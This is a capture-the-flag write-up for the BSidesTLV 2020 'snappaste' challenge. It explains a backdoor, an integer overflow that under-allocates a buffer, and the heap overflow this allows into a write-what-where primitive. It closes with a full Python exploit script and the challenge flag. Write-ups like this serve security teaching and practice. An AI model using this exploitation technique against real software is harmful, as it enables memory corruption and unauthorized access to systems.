### Backdoor
First thing that catches our attention is, there is a backdoor which gives the flag when requested paste name matches the value of backdoor_filename variable. Another part of the backdoor leaks the address of backdoor_filename variable.
### Integer Overflow
Integer overflow at num_bytes causes shorter buffer to be allocated than what is needed.
```// Only a single allocation for efficiency!dword num_bytes = header->metadata_size + header->data_decompressed_size + sizeof(PASTE_RECEIVED);```
header->data_decompressed_size is user-controlled variable, and we can set it to 0xFFFFFFFF.
### Buffer overflow
Now let's look at the allocated buffer itself:
`[metadata] [decompressed data buffer] [PASTE_RECEIVED structure]`
Let's look at how these 3 pointers are calculated:```auto paste_received_ptr = alloc.get() + num_bytes - sizeof(PASTE_RECEIVED);paste_received->metadata = alloc.get();paste_received->data = alloc.get() + header->metadata_size;```
And take a look at call to uncompress.```int result = uncompress(paste_received->data, &dest_len, data, header->data_compressed_size);```
Because buffer was under-allocated, we can overwrite into paste_received struct with our compressed paste data.
### Write-What-Where
We control all variables passed to memcpy below, giving us Write-What-Where primitive.```memcpy(paste_received->metadata, metadata, header->metadata_size);```### Final Exploit
 * Paste anything to the service and get new randomly generated paste name. * Set the value of backdoor_filename to our new paste name, using Write-What-Where primitive. * Request the paste, triggering the backdoor
```from pwn import *import requestsimport zlib
s = requests.Session()
url = "http://localhost:8080"# url = "https://snappaste.ctf.bsidestlv.com"
def paste(metadata, data, len_data=None):    data_compressed = zlib.compress(data, 9)
    print("metadata size: ", len(metadata))    print("compressed size: ", len(data_compressed))    print("raw size: ", len(data))
    if len_data==None:        len_data = len(data)
    body = b"" + p32(len(metadata)) + p32(len(data_compressed)) + p32(len_data)    body += metadata    body += data_compressed
    resp = s.post(url + "/paste", data=body)    print(url+"/paste")    print(resp)    print(resp.text)
    return resp.text.strip()
def get_paste(name):    return s.get(url + "/view/"+name).text
def write8(what, where):    paste(what, b"\x00"*7 + p64(where) + p64(0x00) + p64(where) + p64(0x00), 0xFFFFFFFF)
def write_str(what, where):    while len(what) > 0:        write8(what[:8].encode(), where)        what = what[8:]        where += 8
def leak_backdoor():    id1 = paste(b"", b"")     resp = s.get(url + "/backdoor/"+id1)    print(resp)    print(resp.text.strip())    return resp.text.strip()
def pwn():    s = leak_backdoor().split(" ")    addr = int(s[1], 16)    fname = s[3]
    info("Addr %x Name %s" % (addr, fname))
    write_str(fname, addr)
    info(get_paste(fname))
pwn()
# BSidesTLV2020{$0metimes-jUst-4dding-tw0-nuMber$-g3ts-y0u-iN-tr0ub13s}```